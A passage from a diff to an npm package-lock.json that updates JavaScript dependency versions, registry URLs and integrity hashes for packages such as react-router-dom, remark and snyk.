- "loose-envify": "^1.0.0"
- }
- }
+ "prop-types": "^15.6.2",
+ "react-is": "^16.6.0",
+ "tiny-invariant": "^1.0.2",
+ "tiny-warning": "^1.0.0"
}
},
"react-router-dom": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz",
- "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.2.0.tgz",
+ "integrity": "sha512-gxAmfylo2QUjcwxI63RhQ5G85Qqt4voZpUXSEqCwykV0baaOTQDR1f0PmY8AELqIyVc0NEZUj0Gov5lNGcXgsA==",
"requires": {
- "history": "^4.7.2",
- "invariant": "^2.2.4",
+ "@babel/runtime": "^7.1.2",
+ "history": "^4.9.0",
"loose-envify": "^1.3.1",
- "prop-types": "^15.6.1",
- "react-router": "^4.3.1",
- "warning": "^4.0.1"
- },
- "dependencies": {
- "warning": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
- "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==",
- "requires": {
- "loose-envify": "^1.0.0"
- }
- }
+ "prop-types": "^15.6.2",
+ "react-router": "5.2.0",
+ "tiny-invariant": "^1.0.2",
+ "tiny-warning": "^1.0.0"
}
},
"react-spinners": {
@@ -13866,6 +17899,7 @@
"version": "2.3.7",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
"integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -13927,9 +17961,9 @@
}
},
"regenerate": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz",
- "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==",
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+ "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==",
"dev": true
},
"regenerate-unicode-properties": {
@@ -13947,13 +17981,12 @@
"integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA=="
},
"regenerator-transform": {
- "version": "0.14.4",
- "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.4.tgz",
- "integrity": "sha512-EaJaKPBI9GvKpvUz2mz4fhx7WPgvwRLY9v3hlNHWmAuJHI13T4nwKnNvm5RWJzEdnI5g5UwtOww+S8IdoUC2bw==",
+ "version": "0.14.5",
+ "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz",
+ "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==",
"dev": true,
"requires": {
- "@babel/runtime": "^7.8.4",
- "private": "^0.1.8"
+ "@babel/runtime": "^7.8.4"
}
},
"regex-not": {
@@ -13983,9 +18016,9 @@
"dev": true
},
"regexpu-core": {
- "version": "4.7.0",
- "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz",
- "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==",
+ "version": "4.7.1",
+ "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.1.tgz",
+ "integrity": "sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==",
"dev": true,
"requires": {
"regenerate": "^1.4.0",
@@ -13997,9 +18030,10 @@
}
},
"registry-auth-token": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.0.tgz",
- "integrity": "sha512-P+lWzPrsgfN+UEpDS3U8AQKg/UjZX6mQSJueZj3EK+vNESoqBSpBUD3gmu4sF9lOsjXWjF11dQKUqemf3veq1w==",
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz",
+ "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==",
+ "dev": true,
"requires": {
"rc": "^1.2.8"
}
@@ -14008,20 +18042,21 @@
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz",
"integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==",
+ "dev": true,
"requires": {
"rc": "^1.2.8"
}
},
"regjsgen": {
- "version": "0.5.1",
- "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.1.tgz",
- "integrity": "sha512-5qxzGZjDs9w4tzT3TPhCJqWdCc3RLYwy9J2NB0nm5Lz+S273lvWcpjaTGHsT1dc6Hhfq41uSEOw8wBmxrKOuyg==",
+ "version": "0.5.2",
+ "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz",
+ "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==",
"dev": true
},
"regjsparser": {
- "version": "0.6.4",
- "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz",
- "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==",
+ "version": "0.6.9",
+ "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.9.tgz",
+ "integrity": "sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==",
"dev": true,
"requires": {
"jsesc": "~0.5.0"
@@ -14042,60 +18077,32 @@
"dev": true
},
"remark": {
- "version": "12.0.0",
- "resolved": "https://registry.npmjs.org/remark/-/remark-12.0.0.tgz",
- "integrity": "sha512-oX4lMIS0csgk8AEbzY0h2jdR0ngiCHOpwwpxjmRa5TqAkeknY+tkhjRJGZqnCmvyuWh55/0SW5WY3R3nn3PH9A==",
+ "version": "13.0.0",
+ "resolved": "https://registry.npmjs.org/remark/-/remark-13.0.0.tgz",
+ "integrity": "sha512-HDz1+IKGtOyWN+QgBiAT0kn+2s6ovOxHyPAFGKVE81VSzJ+mq7RwHFledEvB5F1p4iJvOah/LOKdFuzvRnNLCA==",
"dev": true,
"requires": {
- "remark-parse": "^8.0.0",
- "remark-stringify": "^8.0.0",
- "unified": "^9.0.0"
+ "remark-parse": "^9.0.0",
+ "remark-stringify": "^9.0.0",
+ "unified": "^9.1.0"
}
},
"remark-parse": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-8.0.2.tgz",
- "integrity": "sha512-eMI6kMRjsAGpMXXBAywJwiwAse+KNpmt+BK55Oofy4KvBZEqUDj6mWbGLJZrujoPIPPxDXzn3T9baRlpsm2jnQ==",
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz",
+ "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==",
"dev": true,
"requires": {
- "ccount": "^1.0.0",
- "collapse-white-space": "^1.0.2",
- "is-alphabetical": "^1.0.0",
- "is-decimal": "^1.0.0",
- "is-whitespace-character": "^1.0.0",
- "is-word-character": "^1.0.0",
- "markdown-escapes": "^1.0.0",
- "parse-entities": "^2.0.0",
- "repeat-string": "^1.5.4",
- "state-toggle": "^1.0.0",
- "trim": "0.0.1",
- "trim-trailing-lines": "^1.0.0",
- "unherit": "^1.0.4",
- "unist-util-remove-position": "^2.0.0",
- "vfile-location": "^3.0.0",
- "xtend": "^4.0.1"
+ "mdast-util-from-markdown": "^0.8.0"
}
},
"remark-stringify": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-8.0.0.tgz",
- "integrity": "sha512-cABVYVloFH+2ZI5bdqzoOmemcz/ZuhQSH6W6ZNYnLojAUUn3xtX7u+6BpnYp35qHoGr2NFBsERV14t4vCIeW8w==",
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-9.0.1.tgz",
+ "integrity": "sha512-mWmNg3ZtESvZS8fv5PTvaPckdL4iNlCHTt8/e/8oN08nArHRHjNZMKzA/YW3+p7/lYqIw4nx1XsjCBo/AxNChg==",
"dev": true,
"requires": {
- "ccount": "^1.0.0",
- "is-alphanumeric": "^1.0.0",
- "is-decimal": "^1.0.0",
- "is-whitespace-character": "^1.0.0",
- "longest-streak": "^2.0.1",
- "markdown-escapes": "^1.0.0",
- "markdown-table": "^2.0.0",
- "mdast-util-compact": "^2.0.0",
- "parse-entities": "^2.0.0",
- "repeat-string": "^1.5.4",
- "state-toggle": "^1.0.0",
- "stringify-entities": "^3.0.0",
- "unherit": "^1.0.4",
- "xtend": "^4.0.1"
+ "mdast-util-to-markdown": "^0.6.0"
}
},
"remove-trailing-separator": {
@@ -14138,12 +18145,6 @@
"is-finite": "^1.0.0"
}
},
- "replace-ext": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.0.tgz",
- "integrity": "sha1-3mMSg3P8v3w8z6TeWkgMRaZ5WOs=",
- "dev": true
- },
"request": {
"version": "2.88.2",
"resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
@@ -14178,6 +18179,12 @@
"integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=",
"dev": true
},
+ "require-from-string": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+ "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+ "dev": true
+ },
"require-main-filename": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
@@ -14199,9 +18206,10 @@
}
},
"resolve-alpn": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.0.0.tgz",
- "integrity": "sha512-rTuiIEqFmGxne4IovivKSDzld2lWW9QCjqv80SYjPgf+gS35eaCAjaP54CCwGAwBtnCsvNLYtqxe1Nw+i6JEmA=="
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.1.1.tgz",
+ "integrity": "sha512-0KbFjFPR2bnJhNx1t8Ad6RqVc8+QPJC4y561FYyC/Q/6OzB3fhUzB5PEgitYhPK6aifwR5gXBSnDMllaDWixGQ==",
+ "dev": true
},
"resolve-cwd": {
"version": "2.0.0",
@@ -14276,6 +18284,7 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz",
"integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==",
+ "dev": true,
"requires": {
"lowercase-keys": "^2.0.0"
}
@@ -14305,12 +18314,14 @@
"reusify": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
- "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw=="
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "dev": true
},
"rimraf": {
"version": "2.7.1",
"resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz",
"integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==",
+ "dev": true,
"requires": {
"glob": "^7.1.3"
}
@@ -14325,15 +18336,42 @@
"inherits": "^2.0.1"
}
},
+ "roarr": {
+ "version": "2.15.4",
+ "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz",
+ "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==",
+ "dev": true,
+ "requires": {
+ "boolean": "^3.0.1",
+ "detect-node": "^2.0.4",
+ "globalthis": "^1.0.1",
+ "json-stringify-safe": "^5.0.1",
+ "semver-compare": "^1.0.0",
+ "sprintf-js": "^1.1.2"
+ },
+ "dependencies": {
+ "sprintf-js": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz",
+ "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==",
+ "dev": true
+ }
+ }
+ },
"run-async": {
"version": "2.4.1",
"resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
- "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ=="
+ "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==",
+ "dev": true
},
"run-parallel": {
- "version": "1.1.9",
- "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz",
- "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q=="
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "dev": true,
+ "requires": {
+ "queue-microtask": "^1.2.2"
+ }
},
"run-queue": {
"version": "1.0.3",
@@ -14353,6 +18391,7 @@
"version": "6.5.5",
"resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz",
"integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==",
+ "dev": true,
"requires": {
"tslib": "^1.9.0"
}
@@ -14418,7 +18457,8 @@
"sax": {
"version": "1.2.4",
"resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
- "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+ "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==",
+ "dev": true
},
"scheduler": {
"version": "0.19.1",
@@ -14460,11 +18500,6 @@
}
}
},
- "secure-keys": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/secure-keys/-/secure-keys-1.0.0.tgz",
- "integrity": "sha1-8MgtmKOxOah3aogIBQuCRDEIf8o="
- },
"select-hose": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
@@ -14483,12 +18518,20 @@
"semver": {
"version": "5.7.1",
"resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+ "dev": true
+ },
+ "semver-compare": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz",
+ "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=",
+ "dev": true
},
"semver-diff": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz",
"integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==",
+ "dev": true,
"requires": {
"semver": "^6.3.0"
},
@@ -14496,7 +18539,8 @@
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
}
}
},
@@ -14535,6 +18579,23 @@
}
}
},
+ "serialize-error": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz",
+ "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==",
+ "dev": true,
+ "requires": {
+ "type-fest": "^0.13.1"
+ },
+ "dependencies": {
+ "type-fest": {
+ "version": "0.13.1",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz",
+ "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==",
+ "dev": true
+ }
+ }
+ },
"serialize-javascript": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
@@ -14606,7 +18667,8 @@
"set-immediate-shim": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz",
- "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E="
+ "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=",
+ "dev": true
},
"set-value": {
"version": "2.0.1",
@@ -14639,7 +18701,8 @@
"setprototypeof": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
+ "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==",
+ "dev": true
},
"sha.js": {
"version": "2.4.11",
@@ -14688,6 +18751,7 @@
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
"integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=",
+ "dev": true,
"requires": {
"shebang-regex": "^1.0.0"
}
@@ -14695,7 +18759,8 @@
"shebang-regex": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
- "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM="
+ "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=",
+ "dev": true
},
"shortid": {
"version": "2.2.15",
@@ -14706,19 +18771,29 @@
}
},
"side-channel": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.2.tgz",
- "integrity": "sha512-7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==",
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
+ "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
"dev": true,
"requires": {
- "es-abstract": "^1.17.0-next.1",
- "object-inspect": "^1.7.0"
+ "call-bind": "^1.0.0",
+ "get-intrinsic": "^1.0.2",
+ "object-inspect": "^1.9.0"
+ },
+ "dependencies": {
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ }
}
},
"signal-exit": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz",
- "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA=="
+ "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==",
+ "dev": true
},
"slash": {
"version": "2.0.0",
@@ -14745,11 +18820,6 @@
}
}
},
- "smart-buffer": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.1.0.tgz",
- "integrity": "sha512-iVICrxOzCynf/SNaBQCw34eM9jROU/s5rzIhpOvzhzuYHfJR/DhZfDkXiZSgKXfgv26HT3Yni3AV/DGw0cGnnw=="
- },
"snapdragon": {
"version": "0.8.2",
"resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
@@ -14858,18 +18928,21 @@
}
},
"snyk": {
- "version": "1.373.1",
- "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz",
- "integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==",
+ "version": "1.535.0",
+ "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.535.0.tgz",
+ "integrity": "sha512-NQpGzXb66WvMGkZ2vye58LST1lJFN+diEQ76dlTdh/e2KgFb/qmevo/VgDqAsMsFW6h0rE8V6tFqVBDb8mfEBw==",
+ "dev": true,
"requires": {
- "@snyk/cli-interface": "2.8.1",
- "@snyk/dep-graph": "1.18.3",
+ "@open-policy-agent/opa-wasm": "^1.2.0",
+ "@snyk/cli-interface": "2.11.0",
+ "@snyk/code-client": "3.4.0",
+ "@snyk/dep-graph": "^1.27.1",
+ "@snyk/fix": "1.526.0",
"@snyk/gemfile": "1.2.0",
- "@snyk/graphlib": "2.1.9-patch",
- "@snyk/inquirer": "6.2.2-patch",
- "@snyk/lodash": "^4.17.15-patch",
- "@snyk/ruby-semver": "2.2.0",
- "@snyk/snyk-cocoapods-plugin": "2.3.0",
+ "@snyk/graphlib": "^2.1.9-patch.3",
+ "@snyk/inquirer": "^7.3.3-patch",
+ "@snyk/snyk-cocoapods-plugin": "2.5.2",
+ "@snyk/snyk-hex-plugin": "1.1.1",
"abbrev": "^1.1.1",
"ansi-escapes": "3.2.0",
"chalk": "^2.4.2",
@@ -14877,31 +18950,54 @@
"configstore": "^5.0.1",
"debug": "^4.1.1",
"diff": "^4.0.1",
- "glob": "^7.1.3",
- "needle": "^2.5.0",
+ "global-agent": "^2.1.12",
+ "hcl-to-json": "^0.1.1",
+ "lodash.assign": "^4.2.0",
+ "lodash.camelcase": "^4.3.0",
+ "lodash.clonedeep": "^4.5.0",
+ "lodash.endswith": "^4.2.1",
+ "lodash.flatten": "^4.4.0",
+ "lodash.flattendeep": "^4.4.0",
+ "lodash.get": "^4.4.2",
+ "lodash.groupby": "^4.6.0",
+ "lodash.isempty": "^4.4.0",
+ "lodash.isobject": "^3.0.2",
+ "lodash.map": "^4.6.0",
+ "lodash.omit": "^4.5.0",
+ "lodash.orderby": "^4.6.0",
+ "lodash.sortby": "^4.7.0",
+ "lodash.uniq": "^4.5.0",
+ "lodash.upperfirst": "^4.3.1",
+ "lodash.values": "^4.3.0",
+ "micromatch": "4.0.2",
+ "needle": "2.6.0",
"open": "^7.0.3",
+ "ora": "5.3.0",
"os-name": "^3.0.0",
- "proxy-agent": "^3.1.1",
+ "promise-queue": "^2.2.5",
"proxy-from-env": "^1.0.0",
+ "rimraf": "^2.6.3",
"semver": "^6.0.0",
- "snyk-config": "3.1.0",
- "snyk-docker-plugin": "3.16.0",
- "snyk-go-plugin": "1.16.0",
- "snyk-gradle-plugin": "3.5.1",
+ "snyk-config": "4.0.0",
+ "snyk-cpp-plugin": "2.2.1",
+ "snyk-docker-plugin": "4.19.3",
+ "snyk-go-plugin": "1.17.0",
+ "snyk-gradle-plugin": "3.14.0",
"snyk-module": "3.1.0",
- "snyk-mvn-plugin": "2.19.1",
- "snyk-nodejs-lockfile-parser": "1.26.3",
- "snyk-nuget-plugin": "1.18.1",
- "snyk-php-plugin": "1.9.0",
- "snyk-policy": "1.14.1",
- "snyk-python-plugin": "1.17.1",
- "snyk-resolve": "1.0.1",
- "snyk-resolve-deps": "4.4.0",
+ "snyk-mvn-plugin": "2.25.3",
+ "snyk-nodejs-lockfile-parser": "1.32.0",
+ "snyk-nuget-plugin": "1.21.0",
+ "snyk-php-plugin": "1.9.2",
+ "snyk-policy": "1.19.0",
+ "snyk-python-plugin": "1.19.8",
+ "snyk-resolve": "1.1.0",
+ "snyk-resolve-deps": "4.7.2",
"snyk-sbt-plugin": "2.11.0",
"snyk-tree": "^1.0.0",
"snyk-try-require": "1.3.1",
"source-map-support": "^0.5.11",
"strip-ansi": "^5.2.0",
+ "tar": "^6.1.0",
"tempfile": "^2.0.0",
"update-notifier": "^4.1.0",
"uuid": "^3.3.2",
@@ -14911,329 +19007,178 @@
"ansi-escapes": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
- "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="
+ "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==",
+ "dev": true
},
"ansi-regex": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg=="
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+ "dev": true
},
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "fill-range": "^7.0.1"
}
},
